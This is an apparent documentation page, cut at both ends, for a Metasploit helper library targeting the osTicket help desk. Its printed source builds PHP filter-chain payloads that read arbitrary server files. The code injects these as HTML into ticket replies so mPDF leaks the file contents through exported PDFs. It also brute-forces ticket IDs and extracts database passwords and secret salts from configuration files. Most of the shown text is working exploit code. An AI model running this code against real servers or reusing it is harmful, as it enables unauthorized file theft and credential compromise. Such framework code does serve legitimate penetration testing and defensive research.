    session_cookies: res.get_cookies.empty? ? cookies : res.get_cookies
  }
end

#fetch_ticket_number(base_uri, ticket_id, cookies) ⇒ String?

Fetches the visible ticket number (e.g. 284220 from #284220) from a client ticket page.

Parameters:

  • base_uri (String)

    base path to osTicket

  • ticket_id (String)

    internal ticket ID

  • cookies (String)

    session cookies

Returns:

  • (String, nil)

    ticket number or nil



1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
# File 'lib/msf/core/auxiliary/osticket.rb', line 1048

def fetch_ticket_number(base_uri, ticket_id, cookies)
  tickets_uri = normalize_uri(base_uri, 'tickets.php')
  vprint_status("fetch_ticket_number: GET #{tickets_uri}?id=#{ticket_id}")
  res = send_request_cgi(
    'method' => 'GET',
    'uri' => tickets_uri,
    'cookie' => cookies,
    'vars_get' => { 'id' => ticket_id }
  )
  unless res&.code == 200
    vprint_warning("fetch_ticket_number: Could not load ticket page (code=#{res&.code})")
    return nil
  end

  match = res.body.match(%r{<small>#(\d+)</small>})
  if match
    vprint_good("fetch_ticket_number: Ticket number=##{match[1]}")
    return match[1]
  end

  vprint_warning('fetch_ticket_number: Could not parse ticket number from page')
  nil
end

#fetch_ticket_number_scp(base_uri, prefix, ticket_id, cookies) ⇒ String?

Fetches the visible ticket number from the SCP ticket page.

The SCP portal renders the ticket number as <title>Ticket #NNNNNN</title>, unlike the client portal which uses <small>#NNNNNN</small>.

Parameters:

  • base_uri (String)

    base path to osTicket

  • prefix (String)

    portal prefix ('/scp')

  • ticket_id (String)

    internal ticket ID

  • cookies (String)

    session cookies

Returns:

  • (String, nil)

    ticket number or nil



1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
# File 'lib/msf/core/auxiliary/osticket.rb', line 1429

def fetch_ticket_number_scp(base_uri, prefix, ticket_id, cookies)
  tickets_uri = normalize_uri(base_uri, prefix, 'tickets.php')
  vprint_status("fetch_ticket_number_scp: GET #{tickets_uri}?id=#{ticket_id}")

  res = send_request_cgi(
    'method' => 'GET',
    'uri' => tickets_uri,
    'cookie' => cookies,
    'vars_get' => { 'id' => ticket_id }
  )
  unless res&.code == 200
    vprint_warning("fetch_ticket_number_scp: Could not load ticket page (code=#{res&.code})")
    return nil
  end

  match = res.body.match(%r{<title>Ticket #(\d+)</title>}i)
  if match
    vprint_good("fetch_ticket_number_scp: Ticket number=##{match[1]}")
    return match[1]
  end

  vprint_warning('fetch_ticket_number_scp: Could not parse ticket number from page')
  nil
end

#fetch_topic_form_fields(base_uri, topic_id, cookies) ⇒ Array

Fetches the dynamic ticket-creation form fields for a given help topic.

When a user picks a help topic on open.php, the browser fires an AJAX request to ajax.php/form/help-topic/id which returns JSON containing an “html” key with the rendered form fields (subject input + message textarea, each named with a dynamic hex hash). This method replicates that browser-side call so we can extract the actual field names.

Parameters:

  • base_uri (String)

    base path to osTicket

  • topic_id (String)

    help topic ID (from detect_open_form_fields)

  • cookies (String)

    session cookies

Returns:

  • (Array)
    subject_field_name, message_field_name

    or [nil, nil]



984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
# File 'lib/msf/core/auxiliary/osticket.rb', line 984

def fetch_topic_form_fields(base_uri, topic_id, cookies)
  ajax_uri = normalize_uri(base_uri, 'ajax.php', 'form', 'help-topic', topic_id.to_s)
  vprint_status("fetch_topic_form_fields: GET #{ajax_uri}")

  proto = datastore['SSL'] ? 'https' : 'http'
  referer = "#{proto}://#{rhost}:#{rport}#{normalize_uri(base_uri, 'open.php')}"

  res = send_request_cgi(
    'method' => 'GET',
    'uri' => ajax_uri,
    'cookie' => cookies,
    'headers' => {
      'X-Requested-With' => 'XMLHttpRequest',
      'Referer' => referer
    }
  )
  unless res&.code == 200
    vprint_error("fetch_topic_form_fields: AJAX request failed (code=#{res&.code})")
    return [nil, nil]
  end

  begin
    data = JSON.parse(res.body)
  rescue JSON::ParserError => e
    vprint_error("fetch_topic_form_fields: JSON parse error: #{e}")
    return [nil, nil]
  end

  form_html = data['html'].to_s
  if form_html.empty?
    vprint_error('fetch_topic_form_fields: Empty html in AJAX response')
    return [nil, nil]
  end

  doc = Nokogiri::HTML(form_html)

  subject_field = nil
  doc.search('input[@type="text"]').each do |input|
    name = input['name'].to_s
    if name.match?(/\A[a-f0-9]{10,}\z/)
      subject_field = name
      break
    end
  end

  message_field = nil
  doc.search('textarea').each do |ta|
    name = ta['name'].to_s
    if name.match?(/\A[a-f0-9]{10,}\z/)
      message_field = name
      break
    end
  end

  vprint_status("fetch_topic_form_fields: subject=#{subject_field.inspect}, message=#{message_field.inspect}")
  [subject_field, message_field]
end

#fetch_topic_form_fields_scp(base_uri, prefix, topic_id, cookies) ⇒ Array

Fetches dynamic subject/message field names for the SCP ticket form.

Identical logic to fetch_topic_form_fields but sets the Referer to the SCP new-ticket page (tickets.php?a=open) instead of open.php, which is required to pass osTicket’s AJAX Referer validation.

Parameters:

  • base_uri (String)

    base path to osTicket

  • prefix (String)

    portal prefix ('/scp')

  • topic_id (String)

    help topic ID

  • cookies (String)

    session cookies

Returns:

  • (Array)
    subject_field_name, message_field_name

    or [nil, nil]



1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
# File 'lib/msf/core/auxiliary/osticket.rb', line 1229

def fetch_topic_form_fields_scp(base_uri, prefix, topic_id, cookies)
  ajax_uri = normalize_uri(base_uri, prefix, 'ajax.php', 'form', 'help-topic', topic_id.to_s)
  vprint_status("fetch_topic_form_fields_scp: GET #{ajax_uri}")

  proto = datastore['SSL'] ? 'https' : 'http'
  referer = "#{proto}://#{rhost}:#{rport}#{normalize_uri(base_uri, prefix, 'tickets.php')}?a=open"

  res = send_request_cgi(
    'method' => 'GET',
    'uri' => ajax_uri,
    'cookie' => cookies,
    'headers' => {
      'X-Requested-With' => 'XMLHttpRequest',
      'Referer' => referer
    }
  )
  unless res&.code == 200
    vprint_error("fetch_topic_form_fields_scp: AJAX failed (code=#{res&.code})")
    return [nil, nil]
  end

  begin
    data = JSON.parse(res.body)
  rescue JSON::ParserError => e
    vprint_error("fetch_topic_form_fields_scp: JSON parse error: #{e}")
    return [nil, nil]
  end

  form_html = data['html'].to_s
  if form_html.empty?
    vprint_error('fetch_topic_form_fields_scp: Empty html in AJAX response')
    return [nil, nil]
  end

  doc = Nokogiri::HTML(form_html)

  subject_field = doc.search('input[@type="text"]')
                     .map { |i| i['name'].to_s }
                     .find { |n| n.match?(/\A[a-f0-9]{10,}\z/) }

  message_field = doc.search('textarea')
                     .map { |t| t['name'].to_s }
                     .find { |n| n.match?(/\A[a-f0-9]{10,}\z/) }

  vprint_status("fetch_topic_form_fields_scp: subject=#{subject_field.inspect} message=#{message_field.inspect}")
  [subject_field, message_field]
end

#fetch_user_form_fields_scp(base_uri, prefix, cookies) ⇒ Array

Fetches the dynamic field names from the SCP user creation form.

GET prefix/ajax.php/users/lookup/form returns an HTML fragment with hex-hash field names for email (type=“email”) and full name (type=“text”).

Parameters:

  • base_uri (String)

    base path to osTicket

  • prefix (String)

    portal prefix ('/scp')

  • cookies (String)

    session cookies

Returns:

  • (Array)
    email_field_name, fullname_field_name

    or [nil, nil]



1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
# File 'lib/msf/core/auxiliary/osticket.rb', line 1329

def fetch_user_form_fields_scp(base_uri, prefix, cookies)
  ajax_uri = normalize_uri(base_uri, prefix, 'ajax.php', 'users', 'lookup', 'form')
  vprint_status("fetch_user_form_fields_scp: GET #{ajax_uri}")

  proto = datastore['SSL'] ? 'https' : 'http'
  referer = "#{proto}://#{rhost}:#{rport}#{normalize_uri(base_uri, prefix, 'tickets.php')}?a=open"

  res = send_request_cgi(
    'method' => 'GET',
    'uri' => ajax_uri,
    'cookie' => cookies,
    'headers' => {
      'X-Requested-With' => 'XMLHttpRequest',
      'Referer' => referer
    }
  )
  unless res&.code == 200
    vprint_error("fetch_user_form_fields_scp: failed (code=#{res&.code})")
    return [nil, nil]
  end

  doc = Nokogiri::HTML(res.body)

  email_field = doc.search('input[@type="email"]')
                   .map { |i| i['name'].to_s }
                   .find { |n| n.match?(/\A[a-f0-9]{10,}\z/) }

  name_field = doc.search('input[@type="text"]')
                  .map { |i| i['name'].to_s }
                  .find { |n| n.match?(/\A[a-f0-9]{10,}\z/) }

  vprint_status("fetch_user_form_fields_scp: email_field=#{email_field.inspect} name_field=#{name_field.inspect}")
  [email_field, name_field]
end

#find_ticket_id(base_uri, prefix, ticket_number, cookies, max_id) ⇒ String?

Resolves a user-visible ticket number to the internal numeric ticket ID used in tickets.php?id= parameters.

Parameters:

  • base_uri (String)

    base path to osTicket

  • prefix (String)

    portal prefix ('/scp' or ")

  • ticket_number (String)

    visible ticket number (e.g. '978554')

  • cookies (String)

    session cookies

Returns:

  • (String, nil)

    internal ticket ID or nil



198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
# File 'lib/msf/core/auxiliary/osticket.rb', line 198

def find_ticket_id(base_uri, prefix, ticket_number, cookies, max_id)
  tickets_uri = normalize_uri(base_uri, prefix, 'tickets.php')
  vprint_status("find_ticket_id: GET #{tickets_uri} (looking for ticket ##{ticket_number})")
  vprint_status("find_ticket_id: Using cookies=#{cookies}")

  res = send_request_cgi(
    'method' => 'GET',
    'uri' => tickets_uri,
    'cookie' => cookies
  )
  unless res
    vprint_error('find_ticket_id: No response from ticket listing (nil)')
    return nil
  end
  vprint_status("find_ticket_id: Ticket listing response code=#{res.code}, body=#{res.body.to_s.length} bytes")
  vprint_status("find_ticket_id: Body Length:\n#{res.body.length}")
  return nil unless res.code == 200

  match = res.body.match(/tickets\.php\?id=(\d+)[^>]*>.*?#?#{Regexp.escape(ticket_number.to_s)}/m)
  if match
    vprint_good("find_ticket_id: Found ticket ID=#{match[1]} from listing page")
    return match[1]
  end
  vprint_status("find_ticket_id: Ticket ##{ticket_number} not found in listing, trying brute-force IDs 1-#{max_id}...")

  # Brute-force first N IDs as fallback
  (1..max_id).each do |tid|
    vprint_status("find_ticket_id: Trying id=#{tid}")
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => tickets_uri,
      'cookie' => cookies,
      'vars_get' => { 'id' => tid.to_s }
    )
    if res&.code == 200 && res.body.include?(ticket_number.to_s)
      vprint_good("find_ticket_id: Found ticket ##{ticket_number} at id=#{tid}")
      return tid.to_s
    end
  end

  vprint_error("find_ticket_id: Could not locate ticket ##{ticket_number}")
  nil
end

#generate_bmp_header(width = 15000, height = 1) ⇒ String

Builds a minimal 24-bit BMP file header used as a carrier for exfiltrated data. mPDF renders it as an image whose pixel data contains the leaked file content after the ISO-2022-KR escape marker.

Parameters:

  • width (Integer) (defaults to: 15000)

    BMP width in pixels (default 15000)

  • height (Integer) (defaults to: 1)

    BMP height in pixels (default 1)

Returns:

  • (String)

    raw BMP header bytes



430
431
432
433
434
435
436
437
# File 'lib/msf/core/auxiliary/osticket.rb', line 430

def generate_bmp_header(width = 15000, height = 1)
  header = "BM:\x00\x00\x00\x00\x00\x00\x006\x00\x00\x00(\x00\x00\x00".b
  header << [width].pack('V')
  header << [height].pack('V')
  header << "\x01\x00\x18\x00\x00\x00\x00\x00\x04\x00\x00\x00".b
  header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".b
  header
end

#generate_php_filter_payload(file_path, encoding = 'plain') ⇒ String

Generates a PHP filter chain URI that reads a target file and prepends a BMP header so the result embeds as an image in the PDF.

Parameters:

  • file_path (String)

    remote file path to read

  • encoding (String) (defaults to: 'plain')

    'plain', 'b64', or 'b64zlib'

Returns:

  • (String)

    the php://filter/... URI



445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
# File 'lib/msf/core/auxiliary/osticket.rb', line 445

def generate_php_filter_payload(file_path, encoding = 'plain')
  b64_payload = Rex::Text.encode_base64(generate_bmp_header)

  filters = 'convert.iconv.UTF8.CSISO2022KR|'
  filters << 'convert.base64-encode|'
  filters << 'convert.iconv.UTF8.UTF7|'

  b64_payload.reverse.each_char do |c|
    mapping = CONVERSIONS[c]
    next if mapping.nil? || mapping.empty?

    filters << mapping << '|'
    filters << 'convert.base64-decode|'
    filters << 'convert.base64-encode|'
    filters << 'convert.iconv.UTF8.UTF7|'
  end

  filters << 'convert.base64-decode'

  case encoding
  when 'b64'
    filters = 'convert.base64-encode|' + filters
  when 'b64zlib'
    filters = 'zlib.deflate|convert.base64-encode|' + filters
  end

  "php://filter/#{filters}/resource=#{file_path}"
end

#generate_ticket_payload(file_specs, is_reply: true) ⇒ String

Generates the HTML payload for injection into an osTicket ticket. Each file to read becomes a <li> element whose list-style-image CSS property points to a PHP filter chain URI, triggering mPDF to process it.

Parameters:

  • file_specs (Array<String>, Array<Hash>)

    file paths to read. Strings may include encoding suffix: "/etc/passwd:b64zlib". Hashes should have :path and optionally :encoding keys.

  • is_reply (Boolean) (defaults to: true)

    true for ticket reply, false for ticket creation

Returns:

  • (String)

    HTML payload



502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
# File 'lib/msf/core/auxiliary/osticket.rb', line 502

def generate_ticket_payload(file_specs, is_reply: true)
  sep = is_reply ? '&#38;&#35;&#51;&#52;' : '&#34'

  payloads = Array(file_specs).map do |spec|
    if spec.is_a?(Hash)
      generate_php_filter_payload(spec[:path], spec[:encoding] || 'plain')
    elsif spec.include?(',')
      path, enc = spec.split(',', 2)
      enc = 'plain' unless %w[plain b64 b64zlib].include?(enc)
      generate_php_filter_payload(path, enc)
    else
      generate_php_filter_payload(spec)
    end
  end

  html = '<ul>'
  payloads.each do |p|
    html << "<li style=\"list-style-image:url#{sep}(#{quote_with_forced_uppercase(p)})\">listitem</li>\n"
  end
  html << '</ul>'
  html
end

#looks_like_base64?(str) ⇒ Boolean

Returns:

  • (Boolean)


712
713
714
715
716
717
# File 'lib/msf/core/auxiliary/osticket.rb', line 712

def looks_like_base64?(str)
  return false if str.length < 12 || str.length % 4 != 0

  cleaned = str.tr('A-Za-z0-9+/=', '')
  cleaned.empty?
end

#lookup_user_id_scp(base_uri, prefix, cookies, email) ⇒ String?

Looks up an existing SCP user by email via the staff typeahead endpoint.

Parameters:

  • base_uri (String)

    base path to osTicket

  • prefix (String)

    portal prefix ('/scp')

  • cookies (String)

    session cookies

  • email (String)

    email address to search

Returns:

  • (String, nil)

    internal user ID or nil if not found



1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
# File 'lib/msf/core/auxiliary/osticket.rb', line 1284

def lookup_user_id_scp(base_uri, prefix, cookies, email)
  ajax_uri = normalize_uri(base_uri, prefix, 'ajax.php', 'users', 'local')
  vprint_status("lookup_user_id_scp: GET #{ajax_uri}?q=#{email}")

  proto = datastore['SSL'] ? 'https' : 'http'
  referer = "#{proto}://#{rhost}:#{rport}#{normalize_uri(base_uri, prefix, 'tickets.php')}?a=open"

  res = send_request_cgi(
    'method' => 'GET',
    'uri' => ajax_uri,
    'cookie' => cookies,
    'vars_get' => { 'q' => email },
    'headers' => {
      'X-Requested-With' => 'XMLHttpRequest',
      'Referer' => referer
    }
  )
  unless res&.code == 200
    vprint_error("lookup_user_id_scp: request failed (code=#{res&.code})")
    return nil
  end

  begin
    users = JSON.parse(res.body)
  rescue JSON::ParserError => e
    vprint_error("lookup_user_id_scp: JSON parse error: #{e}")
    return nil
  end

  return nil unless users.is_a?(Array) && !users.empty?

  user_id = users.first['id'].to_s
  vprint_good("lookup_user_id_scp: found user id=#{user_id}")
  user_id
end

#osticket?(response) ⇒ Boolean

Checks whether an HTTP response belongs to an osTicket installation.

Parameters:

Returns:

  • (Boolean)


22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# File 'lib/msf/core/auxiliary/osticket.rb', line 22

def osticket?(response)
  unless response
    vprint_error('osticket?: No response received (nil)')
    return false
  end
  vprint_status("osticket?: Response code=#{response.code}, body length=#{response.body.to_s.length}")
  unless response.code == 200
    vprint_error("osticket?: Non-200 response code: #{response.code}")
    return false
  end

  found = response.body.match?(/osTicket/i)
  vprint_status("osticket?: osTicket signature #{found ? 'FOUND' : 'NOT found'} in response body")
  found
end

#osticket_login_client(base_uri, username, password, login_path = 'login.php') ⇒ String?

Authenticates to the osTicket client portal.

Parameters:

  • base_uri (String)

    base path to osTicket (e.g. '/')

  • username (String)

    client email

  • password (String)

    client password

  • login_path (String) (defaults to: 'login.php')

    login path (default: 'login.php')

Returns:

  • (String, nil)

    session cookies on success, nil on failure



133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
# File 'lib/msf/core/auxiliary/osticket.rb', line 133

def (base_uri, username, password,  = 'login.php')
   = normalize_uri(base_uri, )
  vprint_status("osticket_login_client: GET #{}")

  res = send_request_cgi('method' => 'GET', 'uri' => )
  unless res
    vprint_error('osticket_login_client: No response from GET request (nil)')
    return nil
  end
  vprint_status("osticket_login_client: GET response code=#{res.code}, cookies=#{res.get_cookies}")
  unless res.code == 200
    vprint_error("osticket_login_client: Expected 200, got #{res.code}")
    return nil
  end

  csrf = extract_csrf_token(res.body)
  unless csrf
    vprint_error('osticket_login_client: No CSRF token found, cannot POST login')
    return nil
  end

  cookies_for_post = res.get_cookies
  vprint_status("osticket_login_client: POST #{} with luser=#{username}")
  res = send_request_cgi(
    'method' => 'POST',
    'uri' => ,
    'cookie' => cookies_for_post,
    'vars_post' => {
      '__CSRFToken__' => csrf,
      'luser' => username,
      'lpasswd' => password
    }
  )
  unless res
    vprint_error('osticket_login_client: No response from POST request (nil)')
    return nil
  end
  vprint_status("osticket_login_client: POST response code=#{res.code}, body contains luser=#{res.body.include?('luser')}")

  if res.code == 302
    # 302 responses may not set new cookies; fall back to the GET cookies
    # which already contain the authenticated OSTSESSID
    session_cookies = res.get_cookies
    session_cookies = cookies_for_post if session_cookies.empty?
    vprint_good('osticket_login_client: Login SUCCESS')
    return session_cookies
  end

  if res.code == 200 && !res.body.include?('luser')
    vprint_good("osticket_login_client: Login SUCCESS (200 without login form), cookies=#{cookies_for_post}")
    return cookies_for_post
  end

  vprint_error('osticket_login_client: Login FAILED (still see login form)')
  nil
end

#osticket_login_scp(base_uri, username, password) ⇒ String?

Authenticates to the osTicket staff control panel (/scp/).

Parameters:

  • base_uri (String)

    base path to osTicket (e.g. '/')

  • username (String)

    staff username

  • password (String)

    staff password

Returns:

  • (String, nil)

    session cookies on success, nil on failure



67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
# File 'lib/msf/core/auxiliary/osticket.rb', line 67

def (base_uri, username, password)
   = normalize_uri(base_uri, 'scp', 'login.php')
  vprint_status("osticket_login_scp: GET #{}")

  res = send_request_cgi('method' => 'GET', 'uri' => )
  unless res
    vprint_error('osticket_login_scp: No response from GET request (nil)')
    return nil
  end
  vprint_status("osticket_login_scp: GET response code=#{res.code}, cookies=#{res.get_cookies}")
  unless res.code == 200
    vprint_error("osticket_login_scp: Expected 200, got #{res.code}")
    return nil
  end

  csrf = extract_csrf_token(res.body)
  unless csrf
    vprint_error('osticket_login_scp: No CSRF token found, cannot POST login')
    return nil
  end

  cookies_for_post = res.get_cookies
  vprint_status("osticket_login_scp: POST #{} with userid=#{username}")
  res = send_request_cgi(
    'method' => 'POST',
    'uri' => ,
    'cookie' => cookies_for_post,
    'vars_post' => {
      '__CSRFToken__' => csrf,
      'userid' => username,
      'passwd' => password
    }
  )
  unless res
    vprint_error('osticket_login_scp: No response from POST request (nil)')
    return nil
  end
  vprint_status("osticket_login_scp: POST response code=#{res.code}, url=#{res.headers['Location']}, body contains userid=#{res.body.downcase.include?('userid')}")

  if res.code == 302
    # 302 responses may not set new cookies; fall back to the GET cookies
    # which already contain the authenticated OSTSESSID
    session_cookies = res.get_cookies
    session_cookies = cookies_for_post if session_cookies.empty?
    vprint_good('osticket_login_scp: Login SUCCESS')
    return session_cookies
  end

  if res.code == 200 && !res.body.downcase.include?('userid')
    vprint_good("osticket_login_scp: Login SUCCESS (200 without login form), cookies=#{cookies_for_post}")
    return cookies_for_post
  end

  vprint_error('osticket_login_scp: Login FAILED (still see login form)')
  nil
end

#quote_with_forced_uppercase(input_string) ⇒ String

URL-encodes a string, forcing uppercase ASCII letters to percent-encoded form. Necessary because osTicket/mPDF/htmLawed lowercases unencoded path components, breaking case-sensitive iconv charset names.

Parameters:

  • input_string (String)

    string to encode

Returns:

  • (String)

    URL-encoded string



480
481
482
483
484
485
486
487
488
489
490
491
# File 'lib/msf/core/auxiliary/osticket.rb', line 480

def quote_with_forced_uppercase(input_string)
  safe_chars = ('a'..'z').to_a + ('0'..'9').to_a + ['_', '.', '-', '~']
  input_string.chars.map do |char|
    if char >= 'A' && char <= 'Z'
      format('%%%X', char.ord)
    elsif safe_chars.include?(char)
      char
    else
      Rex::Text.uri_encode(char)
    end
  end.join
end

#report_cred(username, password, service_name, address: rhost, port: rport) ⇒ Object

Reports a credential pair to the Metasploit database.

Parameters:

  • username (String)

    credential username

  • password (String)

    credential password

  • service_name (String)

    service label (e.g. 'osTicket database')

  • address (String) (defaults to: rhost)

    host address for the credential (defaults to rhost)

  • port (Integer) (defaults to: rport)

    port for the credential (defaults to rport)



934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
# File 'lib/msf/core/auxiliary/osticket.rb', line 934

def report_cred(username, password, service_name, address: rhost, port: rport)
  create_credential(
    module_fullname: fullname,
    workspace_id: myworkspace_id,
    origin_type: :service,
    address: address,
    port: port,
    protocol: 'tcp',
    service_name: service_name,
    username: username,
    private_data: password,
    private_type: :password
  )
rescue StandardError => e
  vprint_error("Failed to store credential: #{e}")
end

#report_secrets(extracted) ⇒ Object

Searches extracted file contents for osTicket configuration secrets and reports them. Prints a KEY FINDINGS block and stores credentials/notes to the database. Works regardless of which portal (SCP or client) was used to authenticate.

Parameters:

  • extracted (Array<String>)

    raw file contents extracted from the PDF



863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
# File 'lib/msf/core/auxiliary/osticket.rb', line 863

def report_secrets(extracted)
  secret_patterns = {
    'SECRET_SALT' => /define\('SECRET_SALT','([^']+)'\)/,
    'ADMIN_EMAIL' => /define\('ADMIN_EMAIL','([^']+)'\)/,
    'DBTYPE' => /define\('DBTYPE','([^']+)'\)/,
    'DBHOST' => /define\('DBHOST','([^']+)'\)/,
    'DBNAME' => /define\('DBNAME','([^']+)'\)/,
    'DBUSER' => /define\('DBUSER','([^']+)'\)/,
    'DBPASS' => /define\('DBPASS','([^']+)'\)/
  }

  found_any = false

  extracted.each do |content|
    text = begin
      content.encode('UTF-8', 'binary', invalid: :replace, undef: :replace, replace: '')
    rescue StandardError
      next
    end

    secret_patterns.each do |key, pattern|
      match = text.match(pattern)
      next unless match

      unless found_any
        print_line
        print_line('=' * 70)
        print_line('KEY FINDINGS')
        print_line('=' * 70)
        found_any = true
      end
      print_good("  #{key}: #{match[1]}")

      case key
      when 'DBPASS'
        db_user_match = text.match(/define\('DBUSER','([^']+)'\)/)
        if db_user_match
          db_host_val = text.match(/define\('DBHOST','([^']+)'\)/)&.[](1) || rhost
          db_type_val = text.match(/define\('DBTYPE','([^']+)'\)/)&.[](1)&.downcase

          if db_host_val =~ /\A(.+):(\d+)\z/
            db_address = ::Regexp.last_match(1)
            db_port = ::Regexp.last_match(2).to_i
          else
            db_address = db_host_val
            db_port = case db_type_val
                      when 'mysql' then 3306
                      when 'pgsql', 'postgres' then 5432
                      when 'mssql' then 1433
                      else 3306
                      end
          end

          report_cred(db_user_match[1], match[1], 'osTicket database', address: db_address, port: db_port)
        end
      when 'ADMIN_EMAIL'
        report_note(host: rhost, port: rport, type: 'osticket.admin_email', data: { email: match[1] })
      when 'SECRET_SALT'
        report_note(host: rhost, port: rport, type: 'osticket.secret_salt', data: { salt: match[1] })
      end
    end
  end
end

#submit_ticket_reply(base_uri, prefix, ticket_id, html_content, cookies) ⇒ Boolean

Submits an HTML payload as a ticket reply. The payload is injected into the reply body and will be rendered by mPDF when the ticket PDF is exported.

Parameters:

  • base_uri (String)

    base path to osTicket

  • prefix (String)

    portal prefix ('/scp' or ")

  • ticket_id (String)

    internal ticket ID

  • html_content (String)

    HTML payload to inject

  • cookies (String)

    session cookies

Returns:

  • (Boolean)

    true if the reply was accepted



287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
# File 'lib/msf/core/auxiliary/osticket.rb', line 287

def submit_ticket_reply(base_uri, prefix, ticket_id, html_content, cookies)
  ticket_uri = normalize_uri(base_uri, prefix, 'tickets.php')

  # SCP requires acquiring a lock before loading the reply page
  lock_code = prefix == '/scp' ? acquire_lock_code(base_uri, ticket_id, cookies) : ''

  vprint_status("submit_ticket_reply: GET #{ticket_uri}?id=#{ticket_id} to fetch CSRF token")
  res = send_request_cgi(
    'method' => 'GET',
    'uri' => ticket_uri,
    'cookie' => cookies,
    'vars_get' => { 'id' => ticket_id }
  )
  unless res
    vprint_error('submit_ticket_reply: No response from ticket page (nil)')
    return false
  end
  vprint_status("submit_ticket_reply: GET response code=#{res.code}, body=#{res.body.to_s.length} bytes")
  return false unless res.code == 200

  csrf = extract_csrf_token(res.body)
  unless csrf
    vprint_error('submit_ticket_reply: No CSRF token found on ticket page')
    return false
  end

  textarea_name = detect_reply_textarea(res.body, prefix)
  vprint_status("submit_ticket_reply: Using textarea field '#{textarea_name}', payload=#{html_content.length} bytes")

  post_vars = if prefix == '/scp'
                # Parse from_email_id from the page (default "1" if not found)
                from_email_id = '1'
                email_match = res.body.match(/name="from_email_id"[^>]*value="([^"]*)"/) ||
                              res.body.match(/value="([^"]*)"[^>]*name="from_email_id"/)
                from_email_id = email_match[1] if email_match

                # Fall back to parsing lockCode from page HTML if AJAX didn't return one
                if lock_code.empty?
                  lc_match = res.body.match(/name="lockCode"[^>]*value="([^"]+)"/) ||
                             res.body.match(/value="([^"]+)"[^>]*name="lockCode"/)
                  lock_code = lc_match[1] if lc_match
                end

                {
                  '__CSRFToken__' => csrf,
                  'id' => ticket_id,
                  'msgId' => '',
                  'a' => 'reply',
                  'lockCode' => lock_code.to_s,
                  'from_email_id' => from_email_id,
                  'reply-to' => 'all',
                  'cannedResp' => '0',
                  'draft_id' => '',
                  textarea_name => html_content,
                  'signature' => 'none',
                  'reply_status_id' => '1'
                }
              else
                {
                  '__CSRFToken__' => csrf,
                  'id' => ticket_id,
                  'a' => 'reply',
                  textarea_name => html_content
                }
              end

  vprint_status("submit_ticket_reply: POST #{ticket_uri} with a=reply, id=#{ticket_id}")
  res = send_request_cgi(
    'method' => 'POST',
    'uri' => ticket_uri,
    'cookie' => cookies,
    'vars_post' => post_vars
  )
  unless res
    vprint_error('submit_ticket_reply: No response from POST reply (nil)')
    return false
  end
  vprint_status("submit_ticket_reply: POST response code=#{res.code}, body=#{res.body.to_s.length} bytes")

  # A 302 redirect after POST indicates the reply was accepted (osTicket redirects on success)
  if res.code == 302
    vprint_good('submit_ticket_reply: Got 302 redirect - reply accepted')
    return true
  end

  success = %w[reply\ posted posted\ successfully message\ posted response\ posted].any? do |indicator|
    res.body.downcase.include?(indicator)
  end
  vprint_status("submit_ticket_reply: Success indicators found=#{success}")
  success
end

#swap_rgb_bgr(data) ⇒ String

Swaps byte order in every 3-byte triplet: [R,G,B] to [B,G,R]. This reverses the BGR / RGB conversion that mPDF performs when embedding BMP pixel data into a PDF image XObject.

Parameters:

  • data (String)

    RGB pixel data

Returns:

  • (String)

    BGR pixel data



664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
# File 'lib/msf/core/auxiliary/osticket.rb', line 664

def swap_rgb_bgr(data)
  s = data.dup.force_encoding('ASCII-8BIT')
  len = s.length
  lim = len - (len % 3) # process only complete RGB triplets

  i = 0
  while i < lim
    # direct byte swap using getbyte / setbyte is fastest in CRuby
    r = s.getbyte(i)
    b = s.getbyte(i + 2)
    s.setbyte(i, b)
    s.setbyte(i + 2, r)
    i += 3
  end
  s
end

#wrap_filter_as_ticket_payload(filter_uri, is_reply: true) ⇒ String

